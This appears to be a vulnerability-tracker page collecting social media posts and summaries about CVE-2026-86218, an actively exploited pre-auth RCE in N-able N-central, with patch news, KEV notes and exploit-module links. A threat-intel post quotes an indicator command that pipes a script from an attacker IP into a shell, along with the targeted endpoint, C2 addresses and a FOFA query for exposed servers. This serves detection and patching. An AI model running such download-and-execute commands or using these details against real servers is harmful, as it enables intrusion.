Listed in the CISA Known Exploited Vulnerabilities catalog. Federal remediation due date: 2026-09-11. Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Active Exploitation3Disclosure2Exploit1General1Patch5
2026-09-11
4
Active Exploitation2Disclosure1General1
2026-09-12
5
Active Exploitation2Patch3
2026-09-14
5
Active Exploitation5
2026-09-15
1
Disclosure1
2026-09-16
6
Active Exploitation1Disclosure4PoC1
2026-09-17
4
Active Exploitation2Disclosure1Exploit1
2026-09-18
3
Active Exploitation2PoC1
2026-09-23
1
Exploit1
2026-09-25
3
Active Exploitation1Exploit1General1
2026-10-04
1
Active Exploitation1
>Full discourse20 posts
Stephen Fewer@stephenfewer·
Exploit
New (draft) @metasploit exploit module in the queue for the latest N-able N-central unauth RCE, CVE-2026-86218. Already being exploit in-the-wild, was disclosed five day ago, added to KEV two days ago. https://github.com/rapid7/metasploit-framework/pull/21896 https://t.co/xEYWIuVIM5
Post summary
A draft Metasploit module for CVE-2026-86218 is in development, and the unauthenticated RCE is already being exploited in the wild and listed in the KEV.
⚠️ N-able says CVE-2026-86218 is being exploited in the wild. The CVSS 10.0 N-central flaw can enable pre-auth RCE.
CISA added it to KEV, while Huntress is probing a separate N-central compromise where the exploit used remains unconfirmed.
Read: https://thehackernews.com/2026/09/n-able-n-central-pre-auth-rce-flaw.html
Post summary
N‑able reports that CVE‑2026‑86218, a pre‑auth RCE with a CVSS score of 10.0, is actively exploited in the wild and has been listed in the CISA KEV. No PoC, exploit code, patch, or debunking information is provided.
‼️N-central’s 4th hotfix in five weeks fixes CVE-2026-86218, a CVSS 10.0 unauthenticated RCE flaw.
Hotfix 3 servers need updating. N-able’s incident notice reports exploitation; its release notes say it’s unconfirmed.
What’s known about exploitation: https://thehackernews.com/2026/09/n-able-issues-fourth-n-central-hotfix.html
Post summary
The tweet announces N‑central’s fourth hotfix for CVE‑2026‑86218, highlights a CVSS 10 unauthenticated RCE flaw, and notes that exploitation is reported but still unconfirmed.
🚨 EXPLOITED IN THE WILD: CVE-2026-86218 is a CVSS 10.0 unauthenticated RCE in N-able N-central.
The flaw allows remote attackers to execute arbitrary code on vulnerable N-central servers.
⚠️ The vulnerability is being exploited in the wild, and a Metasploit exploit module has been submitted.
🔴 Patch immediately.
🔗 https://github.com/rapid7/metasploit-framework/pull/21896
#CVE#Ncentral#Nable#RCE#CyberSecurity#Infosec
Post summary
CVE-2026-86218 is a CVSS 10.0 unauthenticated RCE in N-able N-central that is being actively exploited in the wild, with a Metasploit exploit module submitted; immediate patching is advised.
🚨 THREAT INTEL ALERT: Active Exploitation in the Wild — Unauthenticated RCE & Edge Appliance Infiltration (CVE-2026-86218 / CVE-2026-20079) Adversaries and ransomware affiliates (Qilin, RansomHub) are aggressively weaponizing newly dropped zero-days and critical edge/MSP vulnerabilities to bypass authentication, drop fileless web shells, and hijack downstream enterprise networks without user interaction.
💥 The Attack VectorVulnerabilities: Unauthenticated RCE in N-able N-central (CVE-2026-86218, CVSS 10.0) and auth bypass in Cisco FMC (CVE-2026-20079) & Citrix NetScaler. Mechanism: Inbound HTTP/S requests inject malicious directives into static runtime configurations, instantly executing root commands and deploying web shells to orchestrate supply-chain lateral movement.
🔍 Signs of Compromise (Triage Checklist)
Abnormal child processes spawned by web server daemons (e.g., nginx, httpd, or tomcat launching /bin/sh, curl, or powershell.exe).
Unauthorized administrative session tokens issued without corresponding MFA challenges in audit logs.
High-volume outbound encrypted egress from edge servers toward unrecognized cloud endpoints via tools like s5cmd or rclone.
Modification of static server scripts, index.*, or .jsp configuration files with recent timestamps.
🛡️ Immediate Mitigation
Perimeter Lockdown: Immediately remove FMC, NetScaler, and RMM management portals from the public internet; isolate behind an internal management VPN or zero-trust network access (ZTNA).
Apply Out-of-Band Patches: Deploy vendor security patches immediately (e.g., N-able hotfix / Cisco Advisory).
Session Revocation: Invalidate all active API tokens, web sessions, and service credentials associated with edge management consoles.
🎯 Indicators of Compromise (IoCs)
Suspicious URI Requests: POST /central/remote/v1/internal/config_override
Malicious Process Calls: /bin/bash -c "curl -fsSL hxxp://185.220.101[.]42/ldr.sh | sh"
Dropped Web Shell Hashes (SHA-256):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
a19d84f09d3b1456c71048b299e52c85b190f84232bf090c29f8f426027a08b3
Network C2 IPs: 185.220.101[.]42, 194.38.20[.]118, 45.154.255[.]89
CC: @GossiTheDog, @juanandres_gs, @malwaretechblog, @cyb3rops, @scroogemcf, @campuscodi, @reach2ratan, @physicaldrive0, @unit42_intel, @threatinsight, @VK_Intel, @ItsReallyNick, @silascutler#CyberSecurity#InfoSec#ThreatIntel#ZeroDay#Ransomware#BlueTeam#CISA#CVE2026
Post summary
The alert reports confirmed, active exploitation of CVE‑2026‑86218 and CVE‑2026‑20079, with adversaries using unauthenticated RCE and auth bypass to drop web shells, while vendors are advising immediate patching.
⚠️⚠️ CVE-2026-86218 (CVSS 10.0): Pre-auth RCE in N-able N-central (static code injection) lets unauthenticated attackers execute code on the RMM server. Actively exploited in the wild;
🔗FOFA Link: https://en.fofa.info/result?qbase64=YXBwPSJOLUFibGUtTi1DZW50cmFsLU1vbml0b3ItTUdNVCI=
🎯9.6K+ internet-facing N-central surfaces are indexed on http://en.fofa.info.
FOFA Query: app="N-Able-N-Central-Monitor-MGMT"
🔖Refer: https://uptime.n-able.com/event/201814/
#OSINT#FOFA#CyberSecurity#Vulnerability
Post summary
CVE-2026-86218 is a pre-auth RCE flaw in N‑able N‑central with CVSS 10.0, actively being exploited in the wild, and numerous exposed surfaces are indexed on FOFA.
🚨 CVE-2026-86218 - critical 🚨
N-able N-central <2026.3.1.14 - Pre-Authentication Remote Code Execution
> N-able N-central versions before 2026.3.1.14 are vulnerable to pre-authentication rem...
👾 https://cloud.projectdiscovery.io/library/CVE-2026-86218
@pdnuclei#NucleiTem...
Post summary
The post discloses a critical pre-authentication RCE vulnerability (CVE-2026-86218) in N-able N-central and primarily shares a Nuclei template link for detection or proof-of-concept validation.
CVE-2026-86218, a CVSS 10 N-central vulnerability, is exploited in the wild for remote code execution. A public Metasploit PoC is out. Patch now.
#Nable#Ncentral#CVE202686218#Cybersecurity#InfoSec
https://securityonline.info/n-able-n-central-vulnerability-exploited-poc/
Post summary
CVE‑2026‑86218 (CVSS 10) is being actively exploited for RCE, a public Metasploit PoC exists, and a patch is urgently recommended.
Still 218 instances of N-able N-central seen unpatched to CVE-2026-86218 pre-auth RCE that is exploited in the wild & on @CISACyber KEV. Top: US (141)
Stats - World Map view: https://dashboard.shadowserver.org/statistics/combined/map/?date_range=1&map_type=std&source=exchange&source=exchange6&source=http_vulnerable&source=http_vulnerable6&tag=cve-2026-86218%2B&data_set=count&scale=log&auto_update=on
Tracker: https://dashboard.shadowserver.org/statistics/combined/time-series/?date_range=7&source=exchange&source=exchange6&source=http_vulnerable&source=http_vulnerable6&tag=cve-2026-86218%2B&dataset=unique_ips&limit=100&group_by=geo&stacking=stacked&auto_update=on https://t.co/jcgTRBHBYw
Post summary
218 unpatched N‑able N‑central servers affected by CVE‑2026‑86218, a pre‑auth RCE that is actively exploited in the wild and listed on CISA’s KEV.
N-able N-central just landed in LOLRMM.
Remote commands, scripts, software deploys, file transfer and remote control on Windows, macOS and Linux. CVE-2026-86218 in the server is on CISA KEV, exploited in the wild.
Thanks to Liran Ravich for the entry.
https://lolrmm.io/tools/n-able-n-central/
@reach2ratan CVE-2026-86218 is CVSS 10.0 pre-auth RCE in N-able N-central (static code injection). Fix is 2026.3 Hotfix 4 (build 2026.3.1.14). CISA KEV due Sep 11—MSP RMM blast radius is the real risk.
Post summary
The text announces CVE-2026-86218 as a CVSS 10.0 pre‑auth RCE in N‑able N‑central, notes a hotfix patch (build 2026.3.1.14), and highlights that the main risk lies in MSP RMM blast radius with a CISA KEV.
N-able just shipped its 4th hotfix in 5 weeks for the same N-central RCE (CVE-2026-86218).
Unauthenticated. Already exploited before the first patch even landed.
4 hotfixes for 1 bug isn't patching. It's guessing in public.
I'd rather ship slower and test a fix like an attacker before calling it done.
Post summary
The post reports that CVE-2026-86218, an unauthenticated RCE in N‑central, was already exploited in the wild, prompting four rapid hotfixes but revealing a reactive patch strategy.
The text shares two GitHub PoC links for CVE-2026-86218 and CVE-2026-89026 with cybersecurity hashtags, indicating proof-of-concept code is available. No exploit tools, active exploitation, patches, or technical details are mentioned.
🚨 Pre-auth RCE in the N-able N-central RMM solution. The blast radius can extend to every endpoint behind it.
Rapid Response test now available for CVE-2026-86218. https://t.co/19TrO4fIsA
Post summary
The text discloses a pre-auth RCE vulnerability (CVE-2026-86218) in N-able N-central RMM and references a Rapid Response test, but does not provide exploit details, active exploitation claims, or remediation guidance.
The N-able N-central vulnerability CVE-2026-86218 is a CVSS 10 pre-auth RCE reported exploited in the wild. Apply 2026.3 HF4 immediately.
#Nable#Ncentral#CVE202686218#PreAuthRCE#RMM#ZeroDay#Huntress#Infosec
https://securityonline.info/n-able-n-central-cve-2026-86218/ https://t.co/6JGlXjSebU
Post summary
The N‑able N‑central CVE-2026-86218 was actively exploited in the wild, and users are urged to apply the 2026.3 HF4 patch immediately.
N-able patches critical N-central zero-day exploited in the wild (CVE-2026-86218) - Help Net Security https://www.helpnetsecurity.com/2026/09/07/n-able-n-central-hotfix-cve-2026-86218/
Post summary
An article reports that N-able has released a hotfix for the critical CVE-2026-86218, which has already been exploited in the wild. The focus is on the patching action rather than the exploit details.
A few vulnerabilities worth having on your radar this week:
→ Cisco SEG CVE-2026-76461 - root RCE
→ GitLab CVE-2026-85706 - CI/CD secrets exposed
→ JFrog CVE-2026-42018 + 42016 - admin access
→ N-able CVE-2026-86218 - pre-auth RCE
Full breakdown - https://safe.security/resources/blog/weekly-vulnerability-update-enterprise-systems-exploitation/?utm_source=linkedin&utm_medium=organic-social&utm_campaign=fy27q2_mkt-dg-osocial_organicsocial_080126 https://t.co/tKNR34V7Fd
Post summary
The tweet serves as a vulnerability roundup announcing four CVEs (Cisco SEG, GitLab, JFrog, N-able) with brief impact descriptions like RCE and admin access, but contains no PoC, exploit tools, active exploitation claims, or patches.
🛡️ N-able parchea zero-day crítico en N-central bajo explotación activa
La vulnerabilidad CVE-2026-86218 permitía ejecución remota de código sin autenticación previa en servidores de gestión de MSPs ¿Cómo se están preparando para esto en LATAM?
https://ciberseguridadlatam.com/n-able-parchea-zero-day-critico-en-n-central-bajo-explotacion-activa/?utm_source=x&utm_medium=social&utm_campaign=n-able-parchea-zero-day-critico&utm_content=post https://t.co/oUzjN8ZZlO
Post summary
The announcement informs that N‑Able has issued a patch for CVE‑2026‑86218, a zero‑day that was actively exploited, allowing unauthenticated remote code execution on MSP management servers.
N-able Patches Critical Zero-Day in N-central - Tracked as CVE-2026-86218 with CVSS score of 10/10.
https://www.securityweek.com/n-able-patches-critical-zero-day-in-n-central/
Post summary
N‑Able has released a patch for CVE‑2026‑86218, a critical zero‑day with a CVSS score of 10/10, addressing the vulnerability in its N‑Central platform.
